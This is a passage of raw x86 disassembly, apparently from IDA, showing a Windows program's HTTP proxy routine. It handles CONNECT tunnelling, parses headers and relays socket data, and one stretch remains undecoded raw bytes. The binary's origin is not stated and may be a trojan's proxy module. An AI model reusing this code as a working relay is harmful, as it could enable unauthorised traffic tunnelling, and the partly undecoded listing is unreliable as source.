		lea	ecx, [esp+230h]
		mov	byte ptr [esp+54A0h], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429765
		push	offset asc_444600 ; " "
		lea	ecx, [esp+21Ch]
		push	1
		push	ecx
		lea	ecx, [esp+3Ch]
		mov	byte ptr [esp+1Fh], 1
		call	sub_4016B8
		lea	edx, [esp+0B8h]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+54A4h], 4
		call	sub_4017EE
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+218h]
		test	al, al
		setz	bl
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42A5EF
		push	offset aHttp	; "http"
		lea	ecx, [esp+0BCh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42A5EF
		jmp	loc_42995A
; ---------------------------------------------------------------------------


loc_429765:				; CODE XREF: ___:004296E7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+24Ch]
		push	0
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset aConnect_0 ; "CONNECT"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 5
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+54A0h], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	loc_42995A
		push	offset aConnect	; "connect"
		lea	ecx, [esp+0BCh]
		mov	byte ptr [esp+17h], 0
		call	sub_4015E1
		push	offset byte_448F30
		lea	ecx, [esp+114h]
		call	sub_4015E1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch]
		push	1
		push	ecx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+174h]
		push	0
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 6
		call	sub_4016B8
		push	eax
		lea	ecx, [esp+0D1h]
		mov	byte ptr [esp+54A4h], 7
		call	sub_401FDC
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+54A0h], 6
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+27Ch]
		push	1
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+1A4h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 8
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 9
		call	sub_4017EE
		test	eax, eax
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+54A0h], 8
		setz	bl
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42A5EF
		push	offset asc_444600 ; " "
		lea	edx, [esp+264h]
		push	1
		push	edx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+1D4h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 0Ah
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 0Bh
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+1D0h]
		mov	[esp+10Ch], eax
		mov	byte ptr [esp+54A0h], 0Ah
		call	sub_401226
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		mov	eax, [esp+10Ch]
		test	eax, eax
		jnz	short loc_42995A
		mov	dword ptr [esp+10Ch], 50h


loc_42995A:				; CODE XREF: ___:00429760j
					; ___:004297ACj ...
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	0
		push	edx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset byte_448F30
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+54A4h], 0Ch
		call	sub_4012EE
		test	eax, eax
		jz	loc_42A5DE
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h]
		push	2
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset byte_448F30
		lea	ecx, [esp+64h]
		mov	byte ptr [esp+54A4h], 0Dh
		call	sub_4012EE
		test	eax, eax
		jz	loc_42A5CD
		lea	ecx, [esp+0CDh]
		push	ecx
		lea	ecx, [esp+8Ch]
		call	sub_4014D3
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+498h]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset aHttprox ; "HTTPROX"
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+4498h]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	byte ptr [esp+54A0h], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+4498h]
		and	ecx, 3
		rep movsb
		mov	esi, offset asc_4471EC ; "\r\n"


loc_429A21:				; CODE XREF: ___:00429A3Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429A45
		test	cl, cl
		jz	short loc_429A41
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429A45
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429A21


loc_429A41:				; CODE XREF: ___:00429A2Bj
		xor	eax, eax
		jmp	short loc_429A49
; ---------------------------------------------------------------------------


loc_429A45:				; CODE XREF: ___:00429A27j
					; ___:00429A35j
		sbb	eax, eax
		sbb	eax, ebx


loc_429A49:				; CODE XREF: ___:00429A43j
		test	eax, eax
		jz	loc_429B23
		mov	edi, dword_511AD8


loc_429A57:				; CODE XREF: ___:00429B1Dj
		mov	esi, offset byte_448F30
		lea	eax, [esp+4498h]


loc_429A63:				; CODE XREF: ___:00429A81j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429A87
		test	cl, cl
		jz	short loc_429A83
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429A87
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429A63


loc_429A83:				; CODE XREF: ___:00429A6Dj
		xor	eax, eax
		jmp	short loc_429A8B
; ---------------------------------------------------------------------------


loc_429A87:				; CODE XREF: ___:00429A69j
					; ___:00429A77j
		sbb	eax, eax
		sbb	eax, ebx


loc_429A8B:				; CODE XREF: ___:00429A85j
		test	eax, eax
		jz	loc_429B23
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+449Ch]
		push	1000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A629
		lea	edx, [esp+4498h]
		push	4000h
		lea	eax, [esp+49Ch]
		push	edx
		push	eax
		call	edi	; strncat
		push	4000h
		lea	ecx, [esp+4A8h]
		push	offset asc_4471EC ; "\r\n"
		push	ecx
		call	edi	; strncat
		add	esp, 18h
		mov	esi, offset asc_4471EC ; "\r\n"
		lea	eax, [esp+4498h]


loc_429AF3:				; CODE XREF: ___:00429B11j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429B17
		test	cl, cl
		jz	short loc_429B13
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429B17
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429AF3


loc_429B13:				; CODE XREF: ___:00429AFDj
		xor	eax, eax
		jmp	short loc_429B1B
; ---------------------------------------------------------------------------


loc_429B17:				; CODE XREF: ___:00429AF9j
					; ___:00429B07j
		sbb	eax, eax
		sbb	eax, ebx


loc_429B1B:				; CODE XREF: ___:00429B15j
		test	eax, eax
		jnz	loc_429A57


loc_429B23:				; CODE XREF: ___:00429A4Bj
					; ___:00429A8Dj
		mov	esi, dword_511B04
		lea	eax, [esp+498h]
		push	offset aProxyConnectio ; "Proxy-Connection:"
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_429B77
		push	offset asc_444C6C ; ":"
		push	eax
		call	esi	; strstr
		add	esp, 8
		inc	eax
		jz	short loc_429B77
		cmp	byte ptr [eax],	20h
		jnz	short loc_429B5B


loc_429B52:				; CODE XREF: ___:00429B59j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_429B52


loc_429B5B:				; CODE XREF: ___:00429B50j
		push	offset aKeepAlive ; "Keep-Alive"
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_429B77
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_429B7E
; ---------------------------------------------------------------------------


loc_429B77:				; CODE XREF: ___:00429B3Dj
					; ___:00429B4Bj ...
		mov	byte ptr [ebp+0BAh], 0


loc_429B7E:				; CODE XREF: ___:00429B75j
		cmp	[ebp+0BFh], ebx
		jnz	loc_429C16
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_42A6FD
		mov	edx, [esp+10Ch]
		xor	ecx, ecx
		mov	[esp+78h], ecx
		push	edx
		mov	[esp+80h], ecx
		mov	word ptr [esp+7Ch], 2
		mov	[esp+84h], ecx
		mov	[esp+88h], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0CDh]
		mov	[esp+7Ah], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+7Ch], eax
		jz	loc_42A63B
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+78h]
		push	10h
		push	eax
		push	ecx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_42A698


loc_429C16:				; CODE XREF: ___:00429B84j
		mov	al, [esp+13h]
		test	al, al
		jz	loc_42A2BE
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_429C61
		lea	edx, [esp+498h]
		lea	ecx, [esp+60h]
		push	edx
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		lea	eax, [esp+24h]
		push	offset aSSSConnectionK ; "%s %s	%s\r\nConnection: Keep-Alive\r\n%s"
		push	eax
		jmp	short loc_429C94
; ---------------------------------------------------------------------------


loc_429C61:				; CODE XREF: ___:00429C2Aj
		lea	ecx, [esp+498h]
		push	ecx
		lea	ecx, [esp+64h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		lea	edx, [esp+24h]
		push	offset aSSSConnectionC ; "%s %s	%s\r\nConnection: close\r\n%s"
		push	edx


loc_429C94:				; CODE XREF: ___:00429C5Fj
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_42A6E2
		cmp	eax, ebx
		jz	loc_42A6E2
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+49Ch]
		push	4000h
		push	ecx
		push	edx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A70F
		mov	edi, offset asc_4471EC ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+49Ch]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		xor	ebx, ebx
		mov	esi, offset asc_4471EC ; "\r\n"
		mov	[esp+2Ch], ebx
		lea	eax, [esp+498h]


loc_429D5E:				; CODE XREF: ___:00429D7Cj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429D82
		test	cl, cl
		jz	short loc_429D7E
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429D82
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429D5E


loc_429D7E:				; CODE XREF: ___:00429D68j
		xor	eax, eax
		jmp	short loc_429D87
; ---------------------------------------------------------------------------


loc_429D82:				; CODE XREF: ___:00429D64j
					; ___:00429D72j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429D87:				; CODE XREF: ___:00429D80j
		test	eax, eax
		jz	loc_42A109


loc_429D8F:				; CODE XREF: ___:0042A0F8j
		mov	esi, offset byte_448F30
		lea	eax, [esp+498h]


loc_429D9B:				; CODE XREF: ___:00429DBDj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429DC3
		test	cl, cl
		jz	short loc_429DBF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429DC3
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429D9B


loc_429DBF:				; CODE XREF: ___:00429DA7j
		xor	eax, eax
		jmp	short loc_429DC8
; ---------------------------------------------------------------------------


loc_429DC3:				; CODE XREF: ___:00429DA3j
					; ___:00429DB3j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429DC8:				; CODE XREF: ___:00429DC1j
		test	eax, eax
		jz	loc_42A105
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+49Ch]
		push	4000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A100
		lea	edx, [esp+498h]
		lea	ecx, [esp+0A0h]
		push	edx
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	eax, [esp+204h]
		push	0
		push	eax
		lea	ecx, [esp+0ACh]
		mov	byte ptr [esp+54ACh], 0Fh
		call	sub_4016B8
		push	offset aContentLength ;	"Content-Length:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 10h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429EAA
		push	offset asc_444600 ; " "
		lea	ecx, [esp+144h]
		push	1
		push	ecx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 11h
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+140h]
		mov	[esp+2Ch], eax
		mov	byte ptr [esp+54A0h], 0Fh
		call	sub_401226


loc_429EAA:				; CODE XREF: ___:00429E5Cj
		push	offset asc_444600 ; " "
		lea	edx, [esp+15Ch]
		push	0
		push	edx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aTransferEncodi ; "Transfer-Encoding:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 12h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429F39
		push	offset asc_444600 ; " "
		lea	eax, [esp+18Ch]
		push	1
		push	eax
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aChunked	; "chunked"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 13h
		call	sub_40150A
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+54A0h], 0Fh
		call	sub_401226


loc_429F39:				; CODE XREF: ___:00429EF4j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+1BCh]
		push	0
		push	ecx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aConnection ; "Connection:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 14h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429FD4
		push	offset asc_444600 ; " "
		lea	edx, [esp+1ECh]
		push	1
		push	edx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aKeepAlive ; "Keep-Alive"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 15h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+1E8h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		setnz	byte ptr [esp+11h]


loc_429FD4:				; CODE XREF: ___:00429F83j
		mov	esi, offset asc_4471EC ; "\r\n"
		lea	eax, [esp+498h]


loc_429FE0:				; CODE XREF: ___:0042A002j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A008
		test	cl, cl
		jz	short loc_42A004
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A008
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429FE0


loc_42A004:				; CODE XREF: ___:00429FECj
		xor	eax, eax
		jmp	short loc_42A00D
; ---------------------------------------------------------------------------


loc_42A008:				; CODE XREF: ___:00429FE8j
					; ___:00429FF8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A00D:				; CODE XREF: ___:0042A006j
		test	eax, eax
		jz	loc_42A0A9
		mov	esi, offset byte_448F30
		lea	eax, [esp+498h]


loc_42A021:				; CODE XREF: ___:0042A043j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A049
		test	cl, cl
		jz	short loc_42A045
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A049
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42A021


loc_42A045:				; CODE XREF: ___:0042A02Dj
		xor	eax, eax
		jmp	short loc_42A04E
; ---------------------------------------------------------------------------


loc_42A049:				; CODE XREF: ___:0042A029j
					; ___:0042A039j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A04E:				; CODE XREF: ___:0042A047j
		test	eax, eax
		jz	short loc_42A0A9
		mov	edi, offset asc_4471EC ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+49Ch]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_42A0A9:				; CODE XREF: ___:0042A00Fj
					; ___:0042A050j
		lea	ecx, [esp+0A0h]
		mov	byte ptr [esp+54A0h], 0Eh
		call	sub_401226
		mov	esi, offset asc_4471EC ; "\r\n"
		lea	eax, [esp+498h]


loc_42A0C9:				; CODE XREF: ___:0042A0EBj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A0F1
		test	cl, cl
		jz	short loc_42A0ED
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A0F1
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42A0C9


loc_42A0ED:				; CODE XREF: ___:0042A0D5j
		xor	eax, eax
		jmp	short loc_42A0F6
; ---------------------------------------------------------------------------


loc_42A0F1:				; CODE XREF: ___:0042A0D1j
					; ___:0042A0E1j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A0F6:				; CODE XREF: ___:0042A0EFj
		test	eax, eax
		jnz	loc_429D8F
		jmp	short loc_42A105
; ---------------------------------------------------------------------------


loc_42A100:				; CODE XREF: ___:00429DF0j
		mov	byte ptr [esp+12h], 1


loc_42A105:				; CODE XREF: ___:00429DCAj
					; ___:0042A0FEj
		mov	ebx, [esp+2Ch]


loc_42A109:				; CODE XREF: ___:00429D89j
		mov	al, [esp+11h]
		push	0
		test	al, al
		jz	short loc_42A131
		mov	edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		push	eax
		jmp	short loc_42A14D
; ---------------------------------------------------------------------------


loc_42A131:				; CODE XREF: ___:0042A111j
		mov	edi, offset aConnectionClos ; "Connection: Close\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset aConnectionClos ; "Connection: Close\r\n"
		push	ecx


loc_42A14D:				; CODE XREF: ___:0042A12Fj
		nop
		call	near ptr 71AB428Ah
		mov	edi, offset asc_4471EC ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+4A0h]
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	ebx, ebx
		jz	loc_42A27C
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_42A204


loc_42A1B3:				; CODE XREF: ___:0042A202j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_42A204
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+49Ch]
		push	4000h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_42A204
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42A204
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+49Ch]
		push	esi
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_42A1B3


loc_42A204:				; CODE XREF: ___:0042A1B1j
					; ___:0042A1BCj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_42A24E


loc_42A20A:				; CODE XREF: ___:0042A24Cj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+4A0h]
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_42A24E
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42A24E
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+49Ch]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_42A20A


loc_42A24E:				; CODE XREF: ___:0042A208j
					; ___:0042A227j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_42A4DF
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		or	esi, 0FFFFFFFFh
		mov	byte ptr [esp+12h], 1
		mov	[ebp+0BBh], esi
		jmp	loc_42A4E2
; ---------------------------------------------------------------------------


loc_42A27C:				; CODE XREF: ___:0042A1A7j
		mov	esi, dword_511CA4


loc_42A282:				; CODE XREF: ___:0042A2BCj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+49Ch]
		push	4000h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jl	short loc_42A24E
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A24E
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+4A0h]
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		jmp	short loc_42A282
; ---------------------------------------------------------------------------


loc_42A2BE:				; CODE XREF: ___:00429C1Cj
		lea	ecx, [esp+14h]
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_42A782
		cmp	eax, ebx
		jz	loc_42A782
		mov	ebx, dword_511CA4
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+294h], eax
		mov	dword ptr [esp+290h], 1
		xor	eax, eax
		lea	ecx, [esp+294h]


loc_42A330:				; CODE XREF: ___:0042A33Bj
		cmp	[ecx], edx
		jz	short loc_42A33D
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A330


loc_42A33D:				; CODE XREF: ___:0042A332j
		cmp	eax, 1
		jnz	short loc_42A354
		mov	[esp+298h], edx
		mov	dword ptr [esp+290h], 2


loc_42A354:				; CODE XREF: ___:0042A340j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+498h]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+298h]
		push	eax
		push	ecx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+290h]
		push	edx
		push	eax
		call	sub_438256
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
		dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
		dd 0A024848Dh, 50000004h, 0C3E89051h, 8371689Eh, 840FFFF8h
		dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
		dd 0DE72h, 4274C085h, 0BF958Bh,	6A0000h, 9C248C8Dh, 68000004h
		dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
		dd 6A000000h, 848D5000h, 4A024h, 90515000h, 689E69E8h
		dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah
		dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
		dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 68F07FE8h, 333D9071h
		dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
		dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h
		dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
		dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 68F02BE8h, 333D9071h
		dd 75000027h, 90016A0Dh, 425DF7E8h, 0FE43E902h,	858BFFFFh
		dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_42A4DF:				; CODE XREF: ___:0042A256j
		or	esi, 0FFFFFFFFh


loc_42A4E2:				; CODE XREF: ___:0042A277j
		mov	al, [esp+11h]
		test	al, al
		jnz	short loc_42A502
		mov	edx, [ebp+0BFh]
		push	edx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+12h], 1


loc_42A502:				; CODE XREF: ___:0042A4E8j
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		or	esi, 0FFFFFFFFh


loc_42A570:				; CODE XREF: ___:0042969Bj
		mov	al, [esp+12h]
		test	al, al
		jz	loc_4295E8


loc_42A57C:				; CODE XREF: ___:0042A624j
					; ___:0042A77Dj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_42A599
		mov	eax, [ebp+0BBh]
		push	eax
		call	near ptr 71AB9639h
		nop
		mov	[ebp+0BBh], esi


loc_42A599:				; CODE XREF: ___:0042A584j
		mov	al, [esp+11h]
		test	al, al
		jz	short loc_42A5B4
		mov	ecx, [ebp+0BFh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		mov	[ebp+0BFh], esi


loc_42A5B4:				; CODE XREF: ___:0042A59Fj
					; ___:0042A805j
